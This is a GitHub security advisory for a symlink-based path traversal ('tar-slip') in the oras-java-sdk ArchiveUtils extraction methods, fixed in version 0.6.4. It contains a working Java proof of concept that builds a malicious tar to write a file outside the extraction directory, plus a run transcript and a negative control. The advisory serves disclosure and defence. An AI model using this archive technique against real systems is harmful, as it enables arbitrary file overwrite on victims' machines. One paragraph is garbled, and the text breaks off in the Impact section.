GitHub Advisoryadvisory · Maven
GHSA-j6hm-v3x2-qv6j land.oras:oras-java-sdk: Symlink-based path traversal in ArchiveUtils.untar / unzip allows arbitrary file write outside extraction directory
LOW
Official page ↗
- Ecosystem
- Maven
- Packages
- land.oras:oras-java-sdk
- Severity
- Low
- CVSS vector
- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N
- Weaknesses
- CWE-22, CWE-59
- Reviewed
- 2026-07-01
Affected packages
• Maven land.oras:oras-java-sdk: < 0.6.4 → fixed in 0.6.4
Description
Summary
`ArchiveUtils.untar(InputStream, Path)` and `ArchiveUtils.unzip(InputStream, Path)` in `land.oras:oras-java-sdk` create symbolic-link entries from an archive without validating the symlink target. A malicious tar (or zip) shipped as an OCI layer blob can place a symlink under the extraction directory whose target points outside that directory, then ship a regular-file entry whose path traverses through that symlink. The subsequent `Files.newOutputStream` call follows the symlink and writes the file outside the caller's chosen `target` directory.
This bypasses the existing `ensureSafeEntry` containment check, which only validates `entry.getName()` and not `entry.getLinkName()`. Reachable from the public `Registry.pullArtifact` / `OCILayout.pullArtifact` API whenever the manifest layer carries `io.deis.oras.content.unpack=true`, and from any direct caller of `ArchiveUtils.untar` / `ArchiveUtils.uncompressuntar` (e.g. consumers that pull an archive blob and extract it themselves, such as project-scaffolding CLIs that fetch templates from OCI registries).
Affected versions
`land.oras:oras-java-sdk` ` `pullLayer` (Registry.java:1088). When `io.deis.oras.content.unpack=true` is set on the layer, `pullLayer` calls `ArchiveUtils.untar(Files.newInputStream(tempArchive.getPath()), path)` at line 1109. The attacker-controlled blob is the input.
• `OCILayout.pullArtifact` similar path through the layout's blob store.
• Any direct caller of `ArchiveUtils.untar` / `ArchiveUtils.uncompressuntar` / `ArchiveUtils.unzip` from a downstream consumer that fetches an archive blob and extracts it.
Proof of concept (E2E against deployed Maven Central `land.oras:oras-java-sdk:0.6.3`)
`pom.xml`:
```xml
land.oras
oras-java-sdk
0.6.3
```
`src/main/java/TarSlipPoc.java`:
```java
import land.oras.utils.ArchiveUtils;
import org.apache.commons.compress.archivers.tar.TarArchiveEntry;
import org.apache.commons.compress.archivers.tar.TarArchiveOutputStream;
import java.io.*;
import java.nio.file.*;
public class TarSlipPoc {
public static void main(String[] args) throws Exception {
Path tmp = Files.createTempDirectory("orasslip-");
Path target = tmp.resolve("safe-output");
Files.createDirectories(target);
Path escapeFile = tmp.resolve("ESCAPED.txt");
Files.deleteIfExists(escapeFile);
Path mtar = tmp.resolve("malicious.tar");
try (TarArchiveOutputStream tout =
new TarArchiveOutputStream(Files.newOutputStream(mtar))) {
tout.setLongFileMode(TarArchiveOutputStream.LONGFILE_POSIX);
// Entry 1: symlink at "evil-link" pointing one dir above target
TarArchiveEntry symlinkEntry =
new TarArchiveEntry("evil-link", TarArchiveEntry.LF_SYMLINK);
symlinkEntry.setLinkName(tmp.toAbsolutePath().toString());
symlinkEntry.setMode(0777);
tout.putArchiveEntry(symlinkEntry);
tout.closeArchiveEntry();
// Entry 2: regular file under "evil-link/" — write follows symlink
byte[] data = "POC SUCCESS\n".getBytes();
TarArchiveEntry fileEntry =
new TarArchiveEntry("evil-link/ESCAPED.txt");
fileEntry.setSize(data.length);
fileEntry.setMode(0644);
tout.putArchiveEntry(fileEntry);
tout.write(data);
tout.closeArchiveEntry();
}
System.out.println("ESCAPED.txt pre-extract: " + Files.exists(escapeFile));
ArchiveUtils.untar(mtar, target);
System.out.println("ESCAPED.txt post-extract (outside target): "
+ Files.exists(escapeFile));
}
}
```
Run transcript (JDK 25, Apache Maven 3.9.16, `oras-java-sdk:0.6.3` from Maven Central):
```
=== PRE-EXTRACT ===
target=/var/folders/7n/y98nrcg928ldg8685njy1qjc0000gn/T/orasslip-8932319985819096427/safe-output
ESCAPED.txt exists: false
=== POST-EXTRACT ===
target listing:
/var/folders/.../orasslip-.../safe-output
/var/folders/.../orasslip-.../safe-output/evil-link (symlink)
ESCAPED.txt exists outside target: true
ESCAPED.txt contents: POC SUCCESS
SYMLINK TAR-SLIP CONFIRMED
```
Negative control: same malicious tar, extracted through a routine that resolves `entry.getLinkName()` against the entry's parent and requires the result to stay under `target`, AND opens regular files with `LinkOption.NOFOLLOW_LINKS`:
```
=== NEGATIVE CONTROL (link-target validation) ===
BLOCKED symlink 'evil-link' -> '/var/folders/.../orasslip-neg-...' (escapes target)
ESCAPED.txt exists outside target: false
NEGATIVE CONTROL OK — no escape, safe under fix
```
Impact
• Arbitrary file write under the privileges of the JVM process th…